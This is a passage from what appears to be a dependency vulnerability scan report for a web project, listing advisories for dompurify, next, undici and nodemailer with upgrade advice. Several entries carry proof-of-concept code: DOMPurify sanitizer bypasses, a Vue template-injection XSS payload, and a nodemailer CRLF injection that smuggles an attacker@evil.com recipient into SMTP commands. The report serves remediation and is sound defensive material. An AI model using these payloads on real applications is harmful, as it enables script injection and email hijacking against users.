  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Improper Initialization in the DOMPurify.setConfig() API when an uponSanitizeAttribute hook is registered that mutates allowedAttributes. An attacker can cause persistent modification of the attribute allowlist by submitting specially crafted content, resulting in unauthorized attributes being permitted in all subsequent sanitization calls.

Remediation

Upgrade dompurify to version 3.4.11 or higher.

References

medium severity

Prototype Pollution

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Prototype Pollution in the IN_PLACE function when sanitizing a root element that is a <form> with event handler attributes and a descendant element whose name attribute matches certain property names checked by _isClobbered. An attacker can cause malicious attributes, such as event handlers or JavaScript URIs, to persist on the root element by crafting a DOM structure where the root is clobbered and then passing it to the sanitizer in IN_PLACE mode. This allows the attacker to execute arbitrary JavaScript or bypass attribute-level defenses when the sanitized node is reinserted into the live document.

Note:

This is only exploitable if the sanitizer is used in IN_PLACE mode on a detached root element that is an HTMLFormElement with a clobber-named child.

PoC

<!doctype html>
<html><body>
<script src="dist/purify.js"></script>
<script>
  const root = document.createElement('form');
  root.setAttribute('onmouseover', 'window.__rooted = 1');
  const clobber = document.createElement('input');
  clobber.setAttribute('name', 'nodeName');
  root.appendChild(clobber);

  // typeof root.nodeName === 'object' (an <INPUT> element), not 'string'.
  // _isClobbered fires; _forceRemove(root) becomes a no-op because root.parentNode === null.
  DOMPurify.sanitize(root, { IN_PLACE: true });

  console.log('output:', root.outerHTML);
  // <form onmouseover="window.__rooted = 1"><input name="nodeName"></form>
  //  ^^^^^^^^^^^^^^^^^^ event handler survived ^^^^^^^^^^^^^^^^^^

  document.body.appendChild(root);
  root.dispatchEvent(new MouseEvent('mouseover', { bubbles: true }));
  console.log('handler fired:', window.__rooted === 1);  // true
</script>
</body></html>

Details

Prototype Pollution is a vulnerability affecting JavaScript. Prototype Pollution refers to the ability to inject properties into existing JavaScript language construct prototypes, such as objects. JavaScript allows all Object attributes to be altered, including their magical attributes such as __proto__, constructor and prototype. An attacker manipulates these attributes to overwrite, or pollute, a JavaScript application object prototype of the base object by injecting other values. Properties on the Object.prototype are then inherited by all the JavaScript objects through the prototype chain. When that happens, this leads to either denial of service by triggering JavaScript exceptions, or it tampers with the application source code to force the code path that the attacker injects, thereby leading to remote code execution.

There are two main ways in which the pollution of prototypes occurs:

  • Unsafe Object recursive merge

  • Property definition by path

Unsafe Object recursive merge

The logic of a vulnerable recursive merge function follows the following high-level model:

merge (target, source)

  foreach property of source

    if property exists and is an object on both the target and the source

      merge(target[property], source[property])

    else

      target[property] = source[property]

When the source object contains a property named __proto__ defined with Object.defineProperty() , the condition that checks if the property exists and is an object on both the target and the source passes and the merge recurses with the target, being the prototype of Object and the source of Object as defined by the attacker. Properties are then copied on the Object prototype.

Clone operations are a special sub-class of unsafe recursive merges, which occur when a recursive merge is conducted on an empty object: merge({},source).

lodash and Hoek are examples of libraries susceptible to recursive merge attacks.

Property definition by path

There are a few JavaScript libraries that use an API to define property values on an object based on a given path. The function that is generally affected contains this signature: theFunction(object, path, value)

If the attacker can control the value of “path”, they can set this value to __proto__.myValue. myValue is then assigned to the prototype of the class of the object.

Types of attacks

There are a few methods by which Prototype Pollution can be manipulated:

Type Origin Short description
Denial of service (DoS) Client This is the most likely attack.
DoS occurs when Object holds generic functions that are implicitly called for various operations (for example, toString and valueOf).
The attacker pollutes Object.prototype.someattr and alters its state to an unexpected value such as Int or Object. In this case, the code fails and is likely to cause a denial of service.
For example: if an attacker pollutes Object.prototype.toString by defining it as an integer, if the codebase at any point was reliant on someobject.toString() it would fail.
Remote Code Execution Client Remote code execution is generally only possible in cases where the codebase evaluates a specific attribute of an object, and then executes that evaluation.
For example: eval(someobject.someattr). In this case, if the attacker pollutes Object.prototype.someattr they are likely to be able to leverage this in order to execute code.
Property Injection Client The attacker pollutes properties that the codebase relies on for their informative value, including security properties such as cookies or tokens.
For example: if a codebase checks privileges for someuser.isAdmin, then when the attacker pollutes Object.prototype.isAdmin and sets it to equal true, they can then achieve admin privileges.

Affected environments

The following environments are susceptible to a Prototype Pollution attack:

  • Application server

  • Web server

  • Web browser

How to prevent

  1. Freeze the prototype— use Object.freeze (Object.prototype).

  2. Require schema validation of JSON input.

  3. Avoid using unsafe recursive merge functions.

  4. Consider using objects without prototypes (for example, Object.create(null)), breaking the prototype chain and preventing pollution.

  5. As a best practice use Map instead of Object.

For more information on this vulnerability type:

Arteau, Olivier. “JavaScript prototype pollution attack in NodeJS application.” GitHub, 26 May 2018

Remediation

Upgrade dompurify to version 3.4.6 or higher.

References

medium severity

Trust Boundary Violation

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Trust Boundary Violation through the mutation of data.allowedTags or data.allowedAttributes in hooks, which directly alters the global default sets used for sanitization. An attacker can cause persistent changes to the default allow-lists, enabling malicious tags or attributes to bypass sanitization in subsequent calls by injecting payloads that exploit the polluted configuration.

Note:

This is only exploitable if a hook is registered that mutates data.allowedTags or data.allowedAttributes, and later sanitization occurs without explicitly setting restrictive configuration arrays.

PoC

// 1) fresh DOMPurify, default config — script is blocked
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"

// 2) install a hook that mutates data.allowedTags (natural-looking pattern)
DOMPurify.addHook('uponSanitizeElement', (node, data) => {
  data.allowedTags['script'] = true;
});

// 3) one sanitize call WITH the hook — script survives (expected during the hook)
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"

// 4) remove the hook
DOMPurify.removeAllHooks();
DOMPurify.clearConfig();

// 5) sanitize attacker content with default config — POLLUTION PERSISTS
DOMPurify.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg><script>alert(1)</script></svg>"  ← script survived without any hook

// 6) the only recovery: create a fresh DOMPurify instance
const fresh = DOMPurify(window);
fresh.sanitize('<svg><script>alert(1)</script></svg>');
// → "<svg></svg>"  ← clean

Remediation

Upgrade dompurify to version 3.4.7 or higher.

References

medium severity

Trust Boundary Violation

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Trust Boundary Violation in the sanitize function when handling DOM nodes from a different same-origin realm due to improper realm-bound instanceof checks. An attacker can inject and execute malicious markup by providing specially crafted DOM nodes from a foreign realm, which bypass internal security checks and allow executable content to persist in form attributes, template content, and attached shadow roots.

Remediation

Upgrade dompurify to version 3.4.6 or higher.

References

medium severity

Cross-site Scripting (XSS)

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the beforeInteractive process, when untrusted input is embedded without proper escaping. An attacker can execute arbitrary JavaScript in a user's browser by injecting malicious content into the serialized script.

Workaround

This vulnerability can be mitigated by not passing untrusted data into beforeInteractive scripts, or by sanitizing or escaping the content before embedding it.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

medium severity

CRLF Injection

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0

Overview

undici is an An HTTP/1.1 client, written from scratch for Node.js

Affected versions of this package are vulnerable to CRLF Injection via the upgrade option of the client.request() function. An attacker can inject malicious data into HTTP headers or prematurely terminate HTTP requests by sending specially crafted input, potentially leading to unauthorized information disclosure or bypassing of security controls.

Remediation

Upgrade undici to version 6.24.0, 7.24.0 or higher.

References

medium severity

MPL-2.0 license

  • Module: web-push
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 web-push@3.6.7

MPL-2.0 license

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via templates injected to a site in RETURN_DOM mode. The SAFE_FOR_TEMPLATES sanitization can be bypassed, which then allows scripts to be executed if the template is evaluated by a framework such as Vue 2. An application is only vulnerable if it has SAFE_FOR_TEMPLATES: true, and RETURN_DOM: true or RETURN_DOM_FRAGMENT: true set.

PoC

<!DOCTYPE html>
<html>

<body>
  <script src="https://cdn.jsdelivr.net/npm/dompurify@3.3.3/dist/purify.min.js"></script>
  <script src="https://cdn.jsdelivr.net/npm/vue@2.7.16/dist/vue.min.js"></script>
  <script>
    var dirty = '<div id="app">{<foo></foo>{constructor.constructor("alert(1)")()}<foo></foo>}</div>';
    var dom = DOMPurify.sanitize(dirty, { SAFE_FOR_TEMPLATES: true, RETURN_DOM: true });
    document.body.appendChild(dom.firstChild);
    new Vue({ el: '#app' });
  </script>
</body>

</html>

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade dompurify to version 3.4.0 or higher.

References

low severity
new

Improper Check for Unusual or Exceptional Conditions

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Improper Check for Unusual or Exceptional Conditions in the IN_PLACE process when DOM elements are passed from a different window or realm, such as an iframe's contentDocument. An attacker can inject and execute arbitrary scripts by supplying a crafted DOM element from a foreign realm, which bypasses sanitization and leaves malicious payloads intact. This is only exploitable if the application uses the IN_PLACE mode with DOM elements originating from a different window or realm.

Remediation

Upgrade dompurify to version 3.4.4 or higher.

References

low severity
new

Incomplete List of Disallowed Inputs

  • Vulnerable module: dompurify
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/components@0.114.0-2 dompurify@3.4.6
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 monaco-editor@0.54.0 dompurify@3.1.7
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 swagger-ui-react@5.31.2 dompurify@3.2.6

Overview

dompurify is a DOM-only XSS sanitizer for HTML, MathML and SVG.

Affected versions of this package are vulnerable to Incomplete List of Disallowed Inputs in the CUSTOM_ELEMENT_HANDLING. An attacker can cause security-relevant attributes to be preserved on allowed custom elements by leveraging the bypass of the afterSanitizeElements hook, which may result in these attributes being re-injected into an HTML sink such as innerHTML and executed in a later context.

Note: This is only exploitable if the application enables CUSTOM_ELEMENT_HANDLING, relies on afterSanitizeElements as a security policy layer, and has custom elements that re-inject preserved attribute values into an HTML sink.

Remediation

Upgrade dompurify to version 3.4.12 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: next
  • Introduced through: next@15.2.6 and ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.5.16.
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 next@15.4.11

Overview

next is a react framework.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) via the CSP nonce headers. An attacker can inject malicious scripts into cached HTML responses by supplying malformed nonce values, which may then be executed in the browsers of subsequent visitors. This is possible when applications are deployed behind shared caches and rely on request-derived nonce values.

Workaround

This vulnerability can be mitigated by stripping inbound Content-Security-Policy request headers from untrusted traffic.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade next to version 15.5.16, 16.2.5 or higher.

References

low severity

Missing Source Correlation of Multiple Independent Data

  • Vulnerable module: next
  • Introduced through: next@15.2.6

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron next@15.2.6
    Remediation: Upgrade to next@15.4.2.

Overview

next is a react framework.

Affected versions of this package are vulnerable to Missing Source Correlation of Multiple Independent Data in image-optimizer. An attacker can cause arbitrary files to be downloaded with attacker-controlled content and filenames by supplying malicious external image sources.

Note: This is only exploitable if the application is configured to allow external image sources via the images.domains or images.remotePatterns configuration.

Remediation

Upgrade next to version 14.2.31, 15.4.2-canary.19, 15.4.5 or higher.

References

low severity

CRLF Injection

  • Vulnerable module: nodemailer
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 nodemailer@7.0.13

Overview

nodemailer is an Easy as cake e-mail sending from your Node.js applications

Affected versions of this package are vulnerable to CRLF Injection via the envelope.size parameter in the sendMail function. An attacker can inject arbitrary SMTP commands by supplying CRLF characters in the size property, which are concatenated directly into the SMTP command stream. This can result in unauthorized recipients being added to outgoing emails or other SMTP commands being executed.

Note:

This is only exploitable if the application explicitly passes a custom envelope object with a user-controlled size property to the mail sending process.

PoC

const net = require('net');
const nodemailer = require('nodemailer');

// Minimal SMTP server that logs raw commands
const server = net.createServer(socket => {
    socket.write('220 localhost ESMTP\r\n');
    let buffer = '';
    socket.on('data', chunk => {
        buffer += chunk.toString();
        const lines = buffer.split('\r\n');
        buffer = lines.pop();
        for (const line of lines) {
            if (!line) continue;
            console.log('C:', line);
            if (line.startsWith('EHLO')) {
                socket.write('250-localhost\r\n250-SIZE 10485760\r\n250 OK\r\n');
            } else if (line.startsWith('MAIL FROM')) {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('RCPT TO')) {
                socket.write('250 OK\r\n');
            } else if (line === 'DATA') {
                socket.write('354 Start\r\n');
            } else if (line === '.') {
                socket.write('250 OK\r\n');
            } else if (line.startsWith('QUIT')) {
                socket.write('221 Bye\r\n');
                socket.end();
            }
        }
    });
});

server.listen(0, '127.0.0.1', () => {
    const port = server.address().port;
    console.log('SMTP server on port', port);
    console.log('Sending email with injected RCPT TO...\n');

    const transporter = nodemailer.createTransport({
        host: '127.0.0.1',
        port,
        secure: false,
        tls: { rejectUnauthorized: false },
    });

    transporter.sendMail({
        from: 'sender@example.com',
        to: 'recipient@example.com',
        subject: 'Normal email',
        text: 'This is a normal email.',
        envelope: {
            from: 'sender@example.com',
            to: ['recipient@example.com'],
            size: '100\r\nRCPT TO:<attacker@evil.com>',
        },
    }, (err) => {
        if (err) console.error('Error:', err.message);
        console.log('\nExpected output above:');
        console.log('  C: MAIL FROM:<sender@example.com> SIZE=100');
        console.log('  C: RCPT TO:<attacker@evil.com>        <-- INJECTED');
        console.log('  C: RCPT TO:<recipient@example.com>');
        server.close();
        transporter.close();
    });
});

Remediation

Upgrade nodemailer to version 8.0.4 or higher.

References

low severity
new

CRLF Injection

  • Vulnerable module: undici
  • Introduced through: ptbk@0.114.0-2

Detailed paths

  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 @vercel/blob@1.1.1 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/wizard@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/cli@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/markitdown@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
  • Introduced through: promptbook-landing-page@webgptorg/aldaron ptbk@0.114.0-2 promptbook@0.114.0-2 @promptbook/pdf@0.114.0-2 markitdown-ts@0.0.10 ai@6.0.241 @ai-sdk/gateway@3.0.163 @ai-sdk/provider-utils@4.0.41 undici@5.29.0
